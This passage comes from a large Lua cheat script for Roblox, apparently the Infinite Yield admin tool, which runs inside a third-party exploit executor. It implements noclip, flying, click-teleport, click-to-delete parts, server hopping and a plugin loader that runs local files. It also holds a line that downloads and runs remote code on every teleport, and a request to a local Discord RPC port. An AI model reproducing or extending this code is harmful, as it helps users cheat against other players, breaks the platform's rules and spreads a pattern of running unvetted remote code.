rootPart = getRoot(character) local rootPartPosition = rootPart.Position local hitPosition = IYMouse.Hit.Position local newCFrame = CFrame.new( hitPosition, Vector3.new(rootPartPosition.X, hitPosition.Y, rootPartPosition.Z) ) * CFrame.Angles(0, math.pi, 0) rootPart.CFrame = newCFrame + Vector3.new(0, hipHeight or 4, 0) end) end IYMouse.Button1Down:Connect(function() for i,v in pairs(binds) do if v.COMMAND == 'clicktp' then local input = v.KEY if input == 'RightClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) and Players.LocalPlayer.Character then clicktpFunc() elseif input == 'LeftClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) and Players.LocalPlayer.Character then clicktpFunc() elseif UserInputService:IsKeyDown(Enum.KeyCode[input:sub(14)]) and Players.LocalPlayer.Character then clicktpFunc() end elseif v.COMMAND == 'clickdel' then local input = v.KEY if input == 'RightClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then pcall(function() IYMouse.Target:Destroy() end) elseif input == 'LeftClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) then pcall(function() IYMouse.Target:Destroy() end) elseif UserInputService:IsKeyDown(Enum.KeyCode[input:sub(14)]) then pcall(function() IYMouse.Target:Destroy() end) end end end end) PluginsGUI = PluginEditor.background function addPlugin(name) if name:lower() == 'plugin file name' or name:lower() == 'iy_fe.iy' or name == 'iy_fe' then notify('Plugin Error','Please enter a valid plugin') else local file local fileName if name:sub(-3) == '.iy' then pcall(function() file = readfile(name) end) fileName = name else pcall(function() file = readfile(name..'.iy') end) fileName = name..'.iy' end if file then if not FindInTable(PluginsTable, fileName) then table.insert(PluginsTable, fileName) LoadPlugin(fileName) refreshplugins() pcall(eventEditor.Refresh) else notify('Plugin Error','This plugin is already added') end else notify('Plugin Error','Cannot locate file "'..fileName..'". Is the file in the correct folder?') end end end function deletePlugin(name) local pName = name..'.iy' if name:sub(-3) == '.iy' then pName = name end for i = #cmds,1,-1 do if cmds[i].PLUGIN == pName then table.remove(cmds, i) end end for i,v in pairs(CMDsF:GetChildren()) do if v.Name == 'PLUGIN_'..pName then v:Destroy() end end for i,v in pairs(PluginsTable) do if v == pName then table.remove(PluginsTable, i) notify('Removed Plugin',pName..' was removed') end end IndexContents('',true) refreshplugins() end function refreshplugins(dontSave) if #PluginsTable > 0 then PluginsHint:Destroy() end if Holder_5 then Holder_5:ClearAllChildren() Holder_5.CanvasSize = UDim2.new(0, 0, 0, 10) for i,v in pairs(PluginsTable) do local pName = v local YSize = 25 local Position = ((i * YSize) - YSize) local newplugin = Example_5:Clone() newplugin.Parent = Holder_5 newplugin.Visible = true newplugin.Position = UDim2.new(0,0,0, Position + 5) newplugin.Text.Text = pName table.insert(shade2,newplugin) table.insert(shade2,newplugin.Text) table.insert(text1,newplugin.Text) table.insert(shade3,newplugin.Text.Delete) table.insert(text2,newplugin.Text.Delete) Holder_5.CanvasSize = UDim2.new(0,0,0, Position + 30) newplugin.Text.Delete.MouseButton1Click:Connect(function() deletePlugin(pName) end) end if not dontSave then updatesaves() end end end local PluginCache function LoadPlugin(val,startup) local plugin function CatchedPluginLoad() plugin = loadfile(val)() end function handlePluginError(plerror) notify('Plugin Error','An error occurred with the plugin, "'..val..'" and it could not be loaded') if FindInTable(PluginsTable,val) then for i,v in pairs(PluginsTable) do if v == val then table.remove(PluginsTable,i) end end end updatesaves() print("Original Error: "..tostring(plerror)) print("Plugin Error, stack traceback: "..tostring(debug.traceback())) plugin = nil return false end xpcall(CatchedPluginLoad, handlePluginError) if plugin ~= nil then if not startup then notify('Loaded Plugin',"Name: "..plugin["PluginName"].."\n".."Description: "..plugin["PluginDescription"]) end addcmdtext('',val) addcmdtext(string.upper('--'..plugin["PluginName"]),val,plugin["PluginDescription"]) if plugin["Commands"] then for i,v in pairs(plugin["Commands"]) do local cmdExt = '' local cmdName = i local function handleNames() cmdName = i if findCmd(cmdName..cmdExt) then if isNumber(cmdExt) then cmdExt = cmdExt+1 else cmdExt = 1 end handleNames() else cmdName = cmdName..cmdExt end end handleNames() addcmd(cmdName, v["Aliases"], v["Function"], val) if v["ListName"] then local newName = v.ListName local cmdNames = {i,unpack(v.Aliases)} for i,v in pairs(cmdNames) do newName = newName:gsub(v,v..cmdExt) end addcmdtext(newName,val,v["Description"]) else addcmdtext(cmdName,val,v["Description"]) end end end IndexContents('',true) elseif plugin == nil then plugin = nil end end function FindPlugins() if PluginsTable ~= nil and type(PluginsTable) == "table" then for i,v in pairs(PluginsTable) do LoadPlugin(v,true) end refreshplugins(true) end end AddPlugin.MouseButton1Click:Connect(function() addPlugin(PluginsGUI.FileName.Text) end) Exit_3.MouseButton1Click:Connect(function() PluginEditor:TweenPosition(UDim2.new(0.5, -180, 0, -500), "InOut", "Quart", 0.5, true, nil) FileName.Text = 'Plugin File Name' end) Add_3.MouseButton1Click:Connect(function() PluginEditor:TweenPosition(UDim2.new(0.5, -180, 0, 310), "InOut", "Quart", 0.5, true, nil) end) Plugins.MouseButton1Click:Connect(function() if writefileExploit() then PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil) wait(0.5) SettingsHolder.Visible = false else notify('Incompatible Exploit','Your exploit is unable to use plugins (missing read/writefile)') end end) Close_4.MouseButton1Click:Connect(function() SettingsHolder.Visible = true PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil) end) local TeleportCheck = false Players.LocalPlayer.OnTeleport:Connect(function(State) if KeepInfYield and (not TeleportCheck) and queueteleport then TeleportCheck = true queueteleport("loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()") end end) addcmd('addalias',{},function(args, speaker) if #args < 2 then return end local cmd = string.lower(args[1]) local alias = string.lower(args[2]) for i,v in pairs(cmds) do if v.NAME:lower()==cmd or FindInTable(v.ALIAS,cmd) then customAlias[alias] = v aliases[#aliases + 1] = {CMD = cmd, ALIAS = alias} notify('Aliases Modified',"Added "..alias.." as an alias to "..cmd) updatesaves() refreshaliases() break end end end) addcmd('removealias',{},function(args, speaker) if #args < 1 then return end local alias = string.lower(args[1]) if customAlias[alias] then local cmd = customAlias[alias].NAME customAlias[alias] = nil for i = #aliases,1,-1 do if aliases[i].ALIAS == tostring(alias) then table.remove(aliases, i) end end notify('Aliases Modified',"Removed the alias "..alias.." from "..cmd) updatesaves() refreshaliases() end end) addcmd('clraliases',{},function(args, speaker) customAlias = {} aliases = {} notify('Aliases Modified','Removed all aliases') updatesaves() refreshaliases() end) addcmd('discord', {'support', 'help'}, function(args, speaker) if everyClipboard then toClipboard('https://discord.com/invite/dYHag43eeU') notify('Discord Invite', 'Copied to clipboard!\ndiscord.gg/dYHag43eeU') else notify('Discord Invite', 'discord.gg/dYHag43eeU') end if httprequest then httprequest({ Url = 'http://127.0.0.1:6463/rpc?v=1', Method = 'POST', Headers = { ['Content-Type'] = 'application/json', Origin = 'https://discord.com' }, Body = HttpService:JSONEncode({ cmd = 'INVITE_BROWSER', nonce = HttpService:GenerateGUID(false), args = {code = 'dYHag43eeU'} }) }) end end) addcmd('keepiy', {}, function(args, speaker) if queueteleport then KeepInfYield = true updatesaves() else notify('Incompatible Exploit','Your exploit does not support this command (missing queue_on_teleport)') end end) addcmd('unkeepiy', {}, function(args, speaker) if queueteleport then KeepInfYield = false updatesaves() else notify('Incompatible Exploit','Your exploit does not support this command (missing queue_on_teleport)') end end) addcmd('togglekeepiy', {}, function(args, speaker) if queueteleport then KeepInfYield = not KeepInfYield updatesaves() else notify('Incompatible Exploit','Your exploit does not support this command (missing queue_on_teleport)') end end) local canOpenServerinfo = true addcmd('serverinfo',{'info','sinfo'},function(args, speaker) if not canOpenServerinfo then return end canOpenServerinfo = false task.spawn(function() local FRAME = Instance.new("Frame") local shadow = Instance.new("Frame") local PopupText = Instance.new("TextLabel") local Exit = Instance.new("TextButton") local ExitImage = Instance.new("ImageLabel") local background = Instance.new("Frame") local TextLabel = Instance.new("TextLabel") local TextLabel2 = Instance.new("TextLabel") local TextLabel3 = Instance.new("TextLabel") local Time = Instance.new("TextLabel") local appearance = Instance.new("TextLabel") local maxplayers = Instance.new("TextLabel") local name = Instance.new("TextLabel") local placeid = Instance.new("TextLabel") local playerid = Instance.new("TextLabel") local players = Instance.new("TextLabel") local CopyApp = Instance.new("TextButton") local CopyPlrID = Instance.new("TextButton") local CopyPlcID = Instance.new("TextButton") local CopyPlcName = Instance.new("TextButton") FRAME.Name = randomString() FRAME.Parent = ScaledHolder FRAME.Active = true FRAME.BackgroundTransparency = 1 FRAME.Position = UDim2.new(0.5, -130, 0, -500) FRAME.Size = UDim2.new(0, 250, 0, 20) FRAME.ZIndex = 10 dragGUI(FRAME) shadow.Name = "shadow" shadow.Parent = FRAME shadow.BackgroundColor3 = currentShade2 shadow.BorderSizePixel = 0 shadow.Size = UDim2.new(0, 250, 0, 20) shadow.ZIndex = 10 table.insert(shade2,shadow) PopupText.Name = "PopupText" PopupText.Parent = shadow PopupText.BackgroundTransparency = 1 PopupText.Size = UDim2.new(1, 0, 0.95, 0) PopupText.ZIndex = 10 PopupText.Font = Enum.Font.SourceSans PopupText.TextSize = 14 PopupText.Text = "Server" PopupText.TextColor3 = currentText1 PopupText.TextWrapped = true table.insert(text1,PopupText) Exit.Name = "Exit" Exit.Parent = shadow Exit.BackgroundTransparency = 1 Exit.Position = UDim2.new(1, -20, 0, 0) Exit.Size = UDim2.new(0, 20, 0, 20) Exit.Text = "" Exit.ZIndex = 10 ExitImage.Parent = Exit ExitImage.BackgroundColor3 = Color3.new(1, 1, 1) ExitImage.BackgroundTransparency = 1 ExitImage.Position = UDim2.new(0, 5, 0, 5) ExitImage.Size = UDim2.new(0, 10, 0, 10) ExitImage.Image = getcustomasset("infiniteyield/assets/close.png") ExitImage.ZIndex = 10 background.Name = "background" background.Parent = FRAME background.Active = true background.BackgroundColor3 = currentShade1 background.BorderSizePixel = 0 background.Position = UDim2.new(0, 0, 1, 0) background.Size = UDim2.new(0, 250, 0, 250) background.ZIndex = 10 table.insert(shade1,background) TextLabel.Name = "Text Label" TextLabel.Parent = background TextLabel.BackgroundTransparency = 1 TextLabel.BorderSizePixel = 0 TextLabel.Position = UDim2.new(0, 5, 0, 80) TextLabel.Size = UDim2.new(0, 100, 0, 20) TextLabel.ZIndex = 10 TextLabel.Font = Enum.Font.SourceSansLight TextLabel.TextSize = 20 TextLabel.Text = "Run Time:" TextLabel.TextColor3 = currentText1 TextLabel.TextXAlignment = Enum.TextXAlignment.Left table.insert(text1,TextLabel) TextLabel2.Name = "Text Label2" TextLabel2.Parent = background TextLabel2.BackgroundTransparency = 1 TextLabel2.BorderSizePixel = 0 TextLabel2.Position = UDim2.new(0, 5, 0, 130) TextLabel2.Size = UDim2.new(0, 100, 0, 20) TextLabel2.ZIndex = 10 TextLabel2.Font = Enum.Font.SourceSansLight TextLabel2.TextSize = 20 TextLabel2.Text = "Statistics:" TextLabel2.TextColor3 = currentText1 TextLabel2.TextXAlignment = Enum.TextXAlignment.Left table.insert(text1,TextLabel2) TextLabel3.Name = "Text Label3" TextLabel3.Parent = background TextLabel3.BackgroundTransparency = 1 TextLabel3.BorderSizePixel = 0 TextLabel3.Position = UDim2.new(0, 5, 0, 10) TextLabel3.Size = UDim2.new(0, 100, 0, 20) TextLabel3.ZIndex = 10 TextLabel3.Font = Enum.Font.SourceSansLight TextLabel3.TextSize = 20 TextLabel3.Text = "Local Player:" TextLabel3.TextColor3 = currentText1 TextLabel3.TextXAlignment = Enum.TextXAlignment.Left table.insert(text1,TextLabel3) Time.Name = "Time" Time.Parent = background Time.BackgroundTransparency = 1 Time.BorderSizePixel = 0 Time.Position = UDim2.new(0, 5, 0, 105) Time.Size = UDim2.new(0, 100, 0, 20) Time.ZIndex = 10 Time.Font = Enum.Font.SourceSans Time.FontSize = Enum.FontSize.Size14 Time.Text = "LOADING" Time.TextColor3 = currentText1 Time.TextXAlignment = Enum.TextXAlignment.Left table.insert(text1,Time) appearance.Name = "appearance" appearance.Parent = background appearance.BackgroundTransparency = 1 appearance.BorderSizePixel = 0 appearance.Position = UDim2.new(0, 5, 0, 55) appearance.Size = UDim2.new(0, 100, 0, 20) appearance.ZIndex = 10 appearance.Font = Enum.Font.SourceSans appearance.FontSize = Enum.FontSize.Size14 appearance.Text = "Appearance: LOADING" appearance.TextColor3 = currentText1 appearance.TextXAlignment = Enum.TextXAlignment.Left table.insert(text1,appearance) maxplayers.Name = "maxplayers" maxplayers.Parent = background maxplayers.BackgroundTransparency = 1 maxplayers.BorderSizePixel = 0 maxplayers.Position = UDim2.new(0, 5, 0, 175) maxplayers.Size = UDim2.new(0, 100, 0, 20) maxplayers.ZIndex = 10 maxplayers.Font = Enum.Font.SourceSans maxplayers.FontSize = Enum.FontSize.Size14 maxplayers.Text = "LOADING" maxplayers.TextColor3 = currentText1 maxplayers.TextXAlignment = Enum.TextXAlignment.Left table.insert(text1,maxplayers) name.Name = "name" name.Parent = background name.BackgroundTransparency = 1 name.BorderSizePixel = 0 name.Position = UDim2.new(0, 5, 0, 215) name.Size = UDim2.new(0, 240, 0, 30) name.ZIndex = 10 name.Font = Enum.Font.SourceSans name.FontSize = Enum.FontSize.Size14 name.Text = "Place Name: LOADING" name.TextColor3 = currentText1 name.TextWrapped = true name.TextXAlignment = Enum.TextXAlignment.Left name.TextYAlignment = Enum.TextYAlignment.Top table.insert(text1,name) placeid.Name = "placeid" placeid.Parent = background placeid.BackgroundTransparency = 1 placeid.BorderSizePixel = 0 placeid.Position = UDim2.new(0, 5, 0, 195) placeid.Size = UDim2.new(0, 100, 0, 20) placeid.ZIndex = 10 placeid.Font = Enum.Font.SourceSans placeid.FontSize = Enum.FontSize.Size14 placeid.Text = "Place ID: LOADING" placeid.TextColor3 = currentText1 placeid.TextXAlignment = Enum.TextXAlignment.Left table.insert(text1,placeid) playerid.Name = "playerid" playerid.Parent = background playerid.BackgroundTransparency = 1 playerid.BorderSizePixel = 0 playerid.Position = UDim2.new(0, 5, 0, 35) playerid.Size = UDim2.new(0, 100, 0, 20) playerid.ZIndex = 10 playerid.Font = Enum.Font.SourceSans playerid.FontSize = Enum.FontSize.Size14 playerid.Text = "Player ID: LOADING" playerid.TextColor3 = currentText1 playerid.TextXAlignment = Enum.TextXAlignment.Left table.insert(text1,playerid) players.Name = "players" players.Parent = background players.BackgroundTransparency = 1 players.BorderSizePixel = 0 players.Position = UDim2.new(0, 5, 0, 155) players.Size = UDim2.new(0, 100, 0, 20) players.ZIndex = 10 players.Font = Enum.Font.SourceSans players.FontSize = Enum.FontSize.Size14 players.Text = "LOADING" players.TextColor3 = currentText1 players.TextXAlignment = Enum.TextXAlignment.Left table.insert(text1,players) CopyApp.Name = "CopyApp" CopyApp.Parent = background CopyApp.BackgroundColor3 = currentShade2 CopyApp.BorderSizePixel = 0 CopyApp.Position = UDim2.new(0, 210, 0, 55) CopyApp.Size = UDim2.new(0, 35, 0, 20) CopyApp.Font = Enum.Font.SourceSans CopyApp.TextSize = 14 CopyApp.Text = "Copy" CopyApp.TextColor3 = currentText1 CopyApp.ZIndex = 10 table.insert(shade2,CopyApp) table.insert(text1,CopyApp) CopyPlrID.Name = "CopyPlrID" CopyPlrID.Parent = background CopyPlrID.BackgroundColor3 = currentShade2 CopyPlrID.BorderSizePixel = 0 CopyPlrID.Position = UDim2.new(0, 210, 0, 35) CopyPlrID.Size = UDim2.new(0, 35, 0, 20) CopyPlrID.Font = Enum.Font.SourceSans CopyPlrID.TextSize = 14 CopyPlrID.Text = "Copy" CopyPlrID.TextColor3 = currentText1 CopyPlrID.ZIndex = 10 table.insert(shade2,CopyPlrID) table.insert(text1,CopyPlrID) CopyPlcID.Name = "CopyPlcID" CopyPlcID.Parent = background CopyPlcID.BackgroundColor3 = currentShade2 CopyPlcID.BorderSizePixel = 0 CopyPlcID.Position = UDim2.new(0, 210, 0, 195) CopyPlcID.Size = UDim2.new(0, 35, 0, 20) CopyPlcID.Font = Enum.Font.SourceSans CopyPlcID.TextSize = 14 CopyPlcID.Text = "Copy" CopyPlcID.TextColor3 = currentText1 CopyPlcID.ZIndex = 10 table.insert(shade2,CopyPlcID) table.insert(text1,CopyPlcID) CopyPlcName.Name = "CopyPlcName" CopyPlcName.Parent = background CopyPlcName.BackgroundColor3 = currentShade2 CopyPlcName.BorderSizePixel = 0 CopyPlcName.Position = UDim2.new(0, 210, 0, 215) CopyPlcName.Size = UDim2.new(0, 35, 0, 20) CopyPlcName.Font = Enum.Font.SourceSans CopyPlcName.TextSize = 14 CopyPlcName.Text = "Copy" CopyPlcName.TextColor3 = currentText1 CopyPlcName.ZIndex = 10 table.insert(shade2,CopyPlcName) table.insert(text1,CopyPlcName) local SINFOGUI = background FRAME:TweenPosition(UDim2.new(0.5, -130, 0, 100), "InOut", "Quart", 0.5, true, nil) wait(0.5) Exit.MouseButton1Click:Connect(function() FRAME:TweenPosition(UDim2.new(0.5, -130, 0, -500), "InOut", "Quart", 0.5, true, nil) wait(0.6) FRAME:Destroy() canOpenServerinfo = true end) local Asset = MarketplaceService:GetProductInfo(PlaceId) SINFOGUI.name.Text = "Place Name: " .. Asset.Name SINFOGUI.playerid.Text = "Player ID: " ..speaker.UserId SINFOGUI.maxplayers.Text = Players.MaxPlayers.. " Players Max" SINFOGUI.placeid.Text = "Place ID: " ..PlaceId CopyApp.MouseButton1Click:Connect(function() toClipboard(speaker.CharacterAppearanceId) end) CopyPlrID.MouseButton1Click:Connect(function() toClipboard(speaker.UserId) end) CopyPlcID.MouseButton1Click:Connect(function() toClipboard(PlaceId) end) CopyPlcName.MouseButton1Click:Connect(function() toClipboard(Asset.Name) end) repeat players = Players:GetPlayers() SINFOGUI.players.Text = #players.. " Player(s)" SINFOGUI.appearance.Text = "Appearance: " ..speaker.CharacterAppearanceId local seconds = math.floor(workspace.DistributedGameTime) local minutes = math.floor(workspace.DistributedGameTime / 60) local hours = math.floor(workspace.DistributedGameTime / 60 / 60) local seconds = seconds - (minutes * 60) local minutes = minutes - (hours * 60) if hours < 1 then if minutes < 1 then SINFOGUI.Time.Text = seconds .. " Second(s)" else SINFOGUI.Time.Text = minutes .. " Minute(s), " .. seconds .. " Second(s)" end else SINFOGUI.Time.Text = hours .. " Hour(s), " .. minutes .. " Minute(s), " .. seconds .. " Second(s)" end wait(1) until SINFOGUI.Parent == nil end) end) addcmd("jobid", {}, function(args, speaker) toClipboard("roblox://placeId=" .. PlaceId .. "&gameInstanceId=" .. JobId) end) addcmd('notifyjobid',{},function(args, speaker) notify('JobId / PlaceId',JobId..' / '..PlaceId) end) addcmd('breakloops',{'break'},function(args, speaker) lastBreakTime = tick() end) addcmd('gametp',{'gameteleport'},function(args, speaker) TeleportService:Teleport(args[1]) end) addcmd("rejoin", {"rj"}, function(args, speaker) if #Players:GetPlayers() <= 1 then Players.LocalPlayer:Kick("\nRejoining...") wait() TeleportService:Teleport(PlaceId, Players.LocalPlayer) else TeleportService:TeleportToPlaceInstance(PlaceId, JobId, Players.LocalPlayer) end end) addcmd("autorejoin", {"autorj"}, function(args, speaker) GuiService.ErrorMessageChanged:Connect(function() execCmd("rejoin") end) notify("Auto Rejoin", "Auto rejoin enabled") end) addcmd("serverhop", {"shop"}, function(args, speaker) -- thanks to Amity for fixing local servers = {} local req = game:HttpGet("https://games.roblox.com/v1/games/" .. PlaceId .. "/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true") local body = HttpService:JSONDecode(req) if body and body.data then for i, v in next, body.data do if type(v) == "table" and tonumber(v.playing) and tonumber(v.maxPlayers) and v.playing < v.maxPlayers and v.id ~= JobId then table.insert(servers, 1, v.id) end end end if #servers > 0 then TeleportService:TeleportToPlaceInstance(PlaceId, servers[math.random(1, #servers)], Players.LocalPlayer) else return notify("Serverhop", "Couldn't find a server.") end end) addcmd("exit", {}, function(args, speaker) game:Shutdown() end) local Noclipping = nil addcmd('noclip',{},function(args, speaker) Clip = false wait(0.1) local function NoclipLoop() if Clip == false and speaker.Character ~= nil then for _, child in pairs(speaker.Character:GetDescendants()) do if child:IsA("BasePart") and child.CanCollide == true and child.Name ~= floatName then child.CanCollide = false end end end end Noclipping = RunService.Stepped:Connect(NoclipLoop) if args[1] and args[1] == 'nonotify' then return end notify('Noclip','Noclip Enabled') end) addcmd('clip',{'unnoclip'},function(args, speaker) if Noclipping then Noclipping:Disconnect() end Clip = true if args[1] and args[1] == 'nonotify' then return end notify('Noclip','Noclip Disabled') end) addcmd('togglenoclip',{},function(args, speaker) if Clip then execCmd('noclip') else execCmd('clip') end end) FLYING = false QEfly = true iyflyspeed = 1 vehicleflyspeed = 1 function sFLY(vfly) local plr = Players.LocalPlayer local char = plr.Character or plr.CharacterAdded:Wait() local humanoid = char:FindFirstChildOfClass("Humanoid") if not humanoid then repeat task.wait() until char:FindFirstChildOfClass("Humanoid") humanoid = char:FindFirstChildOfClass("Humanoid") end if flyKeyDown or flyKeyUp then flyKeyDown:Disconnect() flyKeyUp:Disconnect() end local T = getRoot(char) local CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0} local lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0} local SPEED = 0 local function FLY() FLYING = true local BG = Instance.new('BodyGyro') local BV = Instance.new('BodyVelocity') BG.P = 9e4 BG.Parent = T BV.Parent = T BG.MaxTorque = Vector3.new(9e9, 9e9, 9e9) BG.CFrame = T.CFrame BV.Velocity = Vector3.new(0, 0, 0) BV.MaxForce = Vector3.new(9e9, 9e9, 9e9) task.spawn(function() repeat task.wait() local camera = workspace.CurrentCamera if not vfly and humanoid then humanoid.PlatformStand = true end if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0 then SPEED = 50 elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0) and SPEED ~= 0 then SPEED = 0 end if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 or (CONTROL.Q + CONTROL.E) ~= 0 then BV.Velocity = ((camera.CFrame.LookVector * (CONTROL.F + CONTROL.B)) + ((camera.CFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - camera.CFrame.p)) * SPEED lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R} elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and (CONTROL.Q + CONTROL.E) == 0 and SPEED ~= 0 then BV.Velocity = ((camera.CFrame.LookVector * (lCONTROL.F + lCONTROL.B)) + ((camera.CFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - camera.CFrame.p)) * SPEED else BV.Velocity = Vector3.new(0, 0, 0) end BG.CFrame = camera.CFrame until not FLYING CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0} lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0} SPEED = 0 BG:Destroy() BV:Destroy() if humanoid then humanoid.PlatformStand = false end end) end flyKeyDown = UserInputService.InputBegan:Connect(function(input, processed) if input.KeyCode == Enum.KeyCode.W then CONTROL.F = (vfly and vehicleflyspeed or iyflyspeed) elseif input.KeyCode == Enum.KeyCode.S then CONTROL.B = - (vfly and vehicleflyspeed or iyflyspeed) elseif input.KeyCode == Enum.KeyCode.A then CONTROL.L = - (vfly and vehicleflyspeed or iyflyspeed) elseif input.KeyCode == Enum.KeyCode.D then CONTROL.R = (vfly and vehicleflyspeed or iyflyspeed) elseif input.KeyCode == Enum.KeyCode.E and QEfly then CONTROL.Q = (vfly and vehicleflyspeed or iyflyspeed)*2 elseif input.KeyCode == Enum.KeyCode.Q and QEfly then CONTROL.E = -(vfly and vehicleflyspeed or iyflyspeed)*2 end pcall(function() camera.CameraType = Enum.CameraType.Track end) end) flyKeyUp = UserInputService.InputEnded:Connect(function(input, processed) if input.KeyCode == Enum.KeyCode.W then CONTROL.F = 0 elseif input.KeyCode == Enum.KeyCode.S then CONTROL.B = 0 elseif input.KeyCode == Enum.KeyCode.A then CONTROL.L = 0 elseif input.KeyCode == Enum.KeyCode.D then CONTROL.R = 0 elseif input.KeyCode == Enum.KeyCode.E then CONTROL.Q = 0 elseif input.KeyCode == Enum.KeyCode.Q then CONTROL.E = 0 end end) FLY() end function NOFLY() FLYING = false if flyKeyDown or flyKeyUp then flyKeyDown:Disconnect() flyKeyUp:Disconnect() end if Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid') then Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').PlatformStand = false end pcall(function() workspace.CurrentCamera.CameraType = Enum.CameraType.Custom end) end local velocityHandlerName = randomString() local gyroHandlerName = randomString() local mfly1 local mfly2 local unmobilefly = function(speaker) pcall(function() FLYING = false local root = getRoot(speaker.Character) root:FindFirstChild(velocityHandlerName):Destroy() root:FindFirstChild(gyroHandlerName):Destroy() speaker.Character:FindFirstChildWhichIsA("Humanoid").PlatformStand = false mfly1:Disconnect() mfly2:Disconnect() end) end local mobilefly = function(speaker, vfly) unmobilefly(speaker) FLYING = true local root = getRoot(speaker.Character) local camera = workspace.CurrentCamera local v3none = Vector3.new() local v3zero = Vector3.new(0, 0, 0) local v3inf = Vector3.new(9e9, 9e9, 9e9) local controlModule = require(speaker.PlayerScripts:WaitForChild("PlayerModule"):WaitForChild("ControlModule")) local bv = Instance.new("BodyVelocity") bv.Name = velocityHandlerName bv.Parent = root bv.MaxForce = v3zero bv.Velocity = v3zero local bg = Instance.new("BodyGyro") bg.Name = gyroHandlerName bg.Parent = root bg.MaxTorque = v3inf bg.P = 1000 bg.D = 50 mfly1 = speaker.CharacterAdded:Connect(function() local bv = Instance.new("BodyVelocity") bv.Name = velocityHandlerName bv.Parent = root bv.MaxForce = v3zero bv.Velocity = v3zero local bg = Instance.new("BodyGyro") bg.Name = gyroHandlerName bg.Parent = root bg.MaxTorque = v3inf bg.P = 1000 bg.D = 50 end) mfly2 = RunService.RenderStepped:Connect(function() root = getRoot(speaker.Character) camera = workspace.CurrentCamera if speaker.Character:FindFirstChildWhichIsA("Humanoid") and root and root:FindFirstChild(velocityHandlerName) and root:FindFirstChild(gyroHandlerName) then local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid") local VelocityHandler = root:FindFirstChild(velocityHandlerName) local GyroHandler = root:FindFirstChild(gyroHandlerName) VelocityHandler.MaxForce = v3inf GyroHandler.MaxTorque = v3inf if not vfly then humanoid.PlatformStand = true end GyroHandler.CFrame = camera.CoordinateFrame VelocityHandler.Velocity = v3none local direction = controlModule:GetMoveVector() if direction.X > 0 then VelocityHandler.Velocity = VelocityHandler.Velocity + camera.CFrame.RightVector * (direction.X * ((vfly and vehicleflyspeed or iyflyspeed) * 50)) end if direction.X < 0 then VelocityHandler.Velocity = VelocityHandler.Velocity + camera.CFrame.RightVector * (direction.X * ((vfly and vehicleflyspeed or iyflyspeed) * 50)) end if direction.Z > 0 then VelocityHandler.Velocity = VelocityHandler.Velocity - camera.CFrame.LookVector * (direction.Z * ((vfly and vehicleflyspeed or iyflyspeed) * 50)) end if direction.Z < 0 then VelocityHandler.Velocity = VelocityHandler.Velocity - camera.CFrame.LookVector * (direction.Z * ((vfly and vehicleflyspeed or iyflyspeed) * 50)) end end end) end addcmd('fly',{},function(args, speaker) if not IsOnMobile then NOFLY() wait() sFLY() else mobilefly(speaker) end if args[1] and isNumber(args[1]) then iyflyspeed = args[1] end end) addcmd('flyspeed',{'flysp'},function(args, speaker) local speed = args[1] or 1 if isNumber(speed) then iyflyspeed = speed end end) addcmd('unfly',{'nofly','novfly','unvehiclefly','novehiclefly','unvfly'},function(args, speaker) if not IsOnMobile then NOFLY() else unmobilefly(speaker) end end) addcmd('vfly',{'vehiclefly'},function(args, speaker) if not IsOnMobile then NOFLY() wait() sFLY(true) else mobilefly(speaker, true) end if args[1] and isNumber(args[1]) then vehicleflyspeed = args[1] end end) addcmd('togglevfly',{},function(args, speaker) if FLYING then if not IsOnMobile then NOFLY() else unmobilefly(speaker) end else if not IsOnMobile then sFLY(true) else mobilefly(speaker, true) end end end) addcmd('vflyspeed',{'vflysp','vehicleflyspeed','vehicleflysp'},function(args, speaker) local speed = args[1] or 1 if isNumber(speed) then vehicleflyspeed = speed end end) addcmd('qefly',{'flyqe'},function(args, speaker) if args[1] == 'false' then QEfly = false else QEfly = true end end) addcmd('togglefly',{},function(args, speaker) if FLYING then if not IsOnMobile then NOFLY() else unmobilefly(speaker) end else if not IsOnMobile then sFLY() else mobilefly(speaker) end end end) CFspeed = 50 addcmd('cframefly', {'cfly'}, function(args, speaker) if args[1] and isNumber(args[1]) then CFspeed = args[1] end -- Full credit to peyton#9148 (apeyton) speaker.Character:FindFirstChildOfClass('Humanoid').PlatformStand = true local Head = speaker.Character:WaitForChild("Head") Head.Anchored = true if CFloop then CFloop:Disconnect() end CFloop = RunService.Heartbeat:Connect(function(deltaTime) local moveDirection = speaker.Character:FindFirstChildOfClass('Humanoid').MoveDirection * (CFspeed * deltaTime) local headCFrame = Head.CFrame local camera = workspace.CurrentCamera local cameraCFrame = camera.CFrame local cameraOffset = headCFrame:ToObjectSpace(cameraCFrame).Position cameraCFrame = cameraCFrame * CFrame.new(-cameraOffset.X, -cameraOffset.Y, -cameraOffset.Z + 1) local cameraPosition = cameraCFrame.Position local headPosition = headCFrame.Position local objectSpaceVelocity = 